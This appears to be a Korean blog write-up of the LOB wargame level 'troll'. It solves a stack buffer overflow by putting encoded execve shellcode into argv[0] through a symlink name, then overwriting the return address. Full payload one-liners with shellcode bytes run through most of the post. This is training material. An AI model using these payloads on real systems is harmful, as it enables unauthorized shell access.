SMALL
orge // timewalker
argv[0],[1] 만 입력되게 되어있고, memset을 한번더 해준다! 일단 먼저 사본파일 tmp에 저장
./troll `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`
세폴트(세그먼트폴트)가 떠 코어덤프를 해준다.
하지만 gdb로 확인을 해봤는데 one more ! 부분에서 memset를 한번더 해주어서 그 부분이 다 0으로 초기화 되었다.
./troll `python -c 'print "\x90"*43+"\xf9\xbf\x0f\x40\xbf"'`
혹시 RTL(Return To Library)가 아닌가 해서 시도하다가 아닌것을 직감했다.
이것저것 뒤지다가 전문제와 동일하게 argv[0] 에 문자를 넣고 추가적으로 쉘코드를 넣어주기로 했다.
근데 쉘코드를 찾다보니
( https://blog.naver.com/mathboy7/220215329450)
위와 같은 링크를 통해 argv[0]에 알맞은 쉘코드를 찾게 되었다.
(이유는 "\x2f"문자가 포함되어 있으면 에러가 나는데 "\x2f"는 ascii 코드로 "/" 이다. 그러므로 디렉토리 구분자로 인식을 한다.)
ln -s troll `python -c 'print "A"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
심볼릭 링크를 적절하게 만들어 주었는데 식별하기 쉽게 A를 넣어주고 그뒤에 쉘코드를 넣어주었다.
./AAAAAAAAAAꝑ^1ɱ2l^Nÿ^A蝁u髿ÿÿ2i00tii0cjo㐔⚱^L `python -c 'print "\x90"*47+"\xbf"'`
일단 세그먼트 폴트가 뜨게해 argv[0]에 쉘코드 주소를 알아내기 위해 위와 같이 입력해준뒤 확인해 보았다.
0xbffffb8d 에 쉘코드가 들어있는 것을 확인해 볼 수 있었다. ( little endian : \x8f\xfb\xff\xbf )
./AAAAAAAAAAꝑ^1ɱ2l^Nÿ^A蝁u髿ÿÿ2i00tii0cjo㐔⚱^L `python -c 'print "\x90"*44+"\x8d\xfb\xff\xbf"'`
심볼릭 링크파일도 동일하게 만들어주고 SFP까지 NOP으로 덮어준 다음 RET에 쉘코드 주소를 넣어 주었다.
클리어!
'System > LOB' 카테고리의 다른 글
[LOB_10]vampire (0) | 2019.09.24 |
---|---|
[LOB_9]troll (0) | 2019.09.24 |
[LOB_7]darkelf (0) | 2019.09.24 |
[LOB_6]wolfman (0) | 2019.07.25 |
[LOB_5]orc (0) | 2019.07.25 |